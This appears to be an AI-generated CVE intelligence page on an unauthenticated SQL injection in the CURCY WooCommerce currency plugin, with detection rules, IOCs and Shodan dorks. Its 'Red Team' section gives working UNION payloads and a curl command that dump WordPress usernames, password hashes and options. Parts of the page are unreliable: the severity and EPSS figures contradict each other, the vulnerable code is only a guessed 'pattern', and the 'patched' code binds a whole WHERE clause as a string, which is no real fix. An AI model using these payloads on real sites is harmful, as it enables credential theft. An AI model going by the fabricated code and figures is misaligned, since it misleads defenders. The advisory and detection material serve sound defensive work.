☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Villatheme logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13320

CVE-2024-13320 SQL Injection in Villatheme
📅 PUBLISHED: 2025-03-07 06:40 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Vietnam License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13320 is a critical unauthenticated SQL Injection vulnerability affecting the CURCY - WooCommerce Multi Currency - Currency Switcher WordPress plugin, developed by Villatheme. The flaw resides in the wc_filter_price_meta[where] parameter, which is insufficiently sanitized and prepared before being used in SQL queries. This allows any unauthenticated attacker to inject arbitrary SQL commands, leading to the extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over the network. The CVSS score of 7.5 (High) reflects the ease of exploitation and the high confidentiality impact. As a WordPress plugin vulnerability, it directly affects the WordPress ecosystem and its users, not the underlying web server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is a WordPress plugin issue, not an NPM, PyPI, Go, or Ruby package. However, it highlights the risks of third-party plugin dependencies in the WordPress supply chain. Administrators must ensure that all plugins are from trusted sources and are kept up-to-date.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – Unauthenticated.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full database read access.
  • Integrity Impact: None (I:N) – Data cannot be modified.
  • Availability Impact: None (A:N) – Service availability not affected.

Threat Level: Critical for unauthenticated data exfiltration. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability exists in the wc_filter_price_meta parameter, specifically the where sub-parameter. The plugin uses this parameter to build SQL queries for filtering products by price. Due to insufficient escaping and lack of prepared statements, an attacker can inject SQL code.

Root Cause: The plugin fails to use parameterized queries or properly escape user input. The where clause is directly concatenated into the SQL query string.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a WordPress site with the vulnerable plugin active. The request includes the malicious SQL payload in the wc_filter_price_meta[where] parameter.

Impact: Successful exploitation allows the attacker to extract any data from the WordPress database, including:

  • User credentials (hashed passwords)
  • Session tokens
  • WooCommerce order details
  • Customer personal information
  • Secret keys and API tokens

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.6):

// Example of vulnerable code pattern
$where = $_GET['wc_filter_price_meta']['where'];
$sql = "SELECT * FROM wp_posts WHERE post_type = 'product' AND $where";
$results = $wpdb->get_results($sql);

Patched Code (Hypothetical):

// Patched version using prepared statements
$where = $_GET['wc_filter_price_meta']['where'];
// Use $wpdb->prepare() to safely handle the input
$sql = $wpdb->prepare(
    "SELECT * FROM wp_posts WHERE post_type = 'product' AND %s",
    $where
);
$results = $wpdb->get_results($sql);

Note: As of this report, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with CURCY plugin version <= 2.3.6
  • No authentication required

Exploitation Steps:

  1. Identify the vulnerable parameter: wc_filter_price_meta[where]
  2. Craft a payload to extract data, e.g., to dump usernames and passwords:
    GET /?wc_filter_price_meta[where]=1=1 UNION SELECT user_login,user_pass FROM wp_users--
    
  3. Send the request using curl:
    curl -G "http://target.com/" --data-urlencode "wc_filter_price_meta[where]=1=1 UNION SELECT user_login,user_pass FROM wp_users--"
    

Example Payloads:

  • Extract all users: 1=1 UNION SELECT user_login,user_pass FROM wp_users--
  • Extract options table: 1=1 UNION SELECT option_name,option_value FROM wp_options--

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual SQL error messages in logs.
  • Look for requests containing wc_filter_price_meta[where] with SQL keywords (UNION, SELECT, FROM, etc.).
  • Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Prevention:

  • Disable or remove the plugin until a patch is available.
  • Implement a WAF with SQL injection signatures.
  • Apply virtual patching via mod_security or similar.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing wc_filter_price_meta[where] parameter with SQL syntax.
  • Unusual SQL error messages in server logs (e.g., "You have an error in your SQL syntax").
  • Outbound database queries from the web server to the database server with unexpected SELECT statements.

File IOCs:

  • Modified WordPress database tables (e.g., wp_users, wp_options).
  • Suspicious entries in wp_options indicating backdoor plugins.

Log IOCs:

  • Apache/Nginx access logs showing requests with wc_filter_price_meta[where]= followed by SQL code.
  • PHP error logs containing SQL injection attempts.

Detection Engineering

YARA Rule

rule CVE_2024_13320_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-13320 in CURCY plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13320"
    strings:
        $param = "wc_filter_price_meta[where]"
        $sql_keyword = /(UNION|SELECT|FROM|WHERE|INSERT|DELETE|DROP|OR\s+1=1)/i
    condition:
        $param and $sql_keyword
}

Sigma Rule

title: CVE-2024-13320 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against CURCY plugin via wc_filter_price_meta[where] parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "wc_filter_price_meta[where]"
    keywords:
        - "UNION"
        - "SELECT"
        - "FROM"
        - "OR 1=1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the parameter with safe values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13320 SQL Injection Attempt"; flow:to_server; content:"wc_filter_price_meta[where]"; nocase; pcre:"/(UNION|SELECT|FROM|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Apply the official patch from Villatheme when available.
  • If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching.
  • Manually edit the plugin code to use prepared statements (not recommended for non-developers).

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"CURCY - WooCommerce Multi Currency"
http.html:"curcy-woocommerce-multi-currency"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13320/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.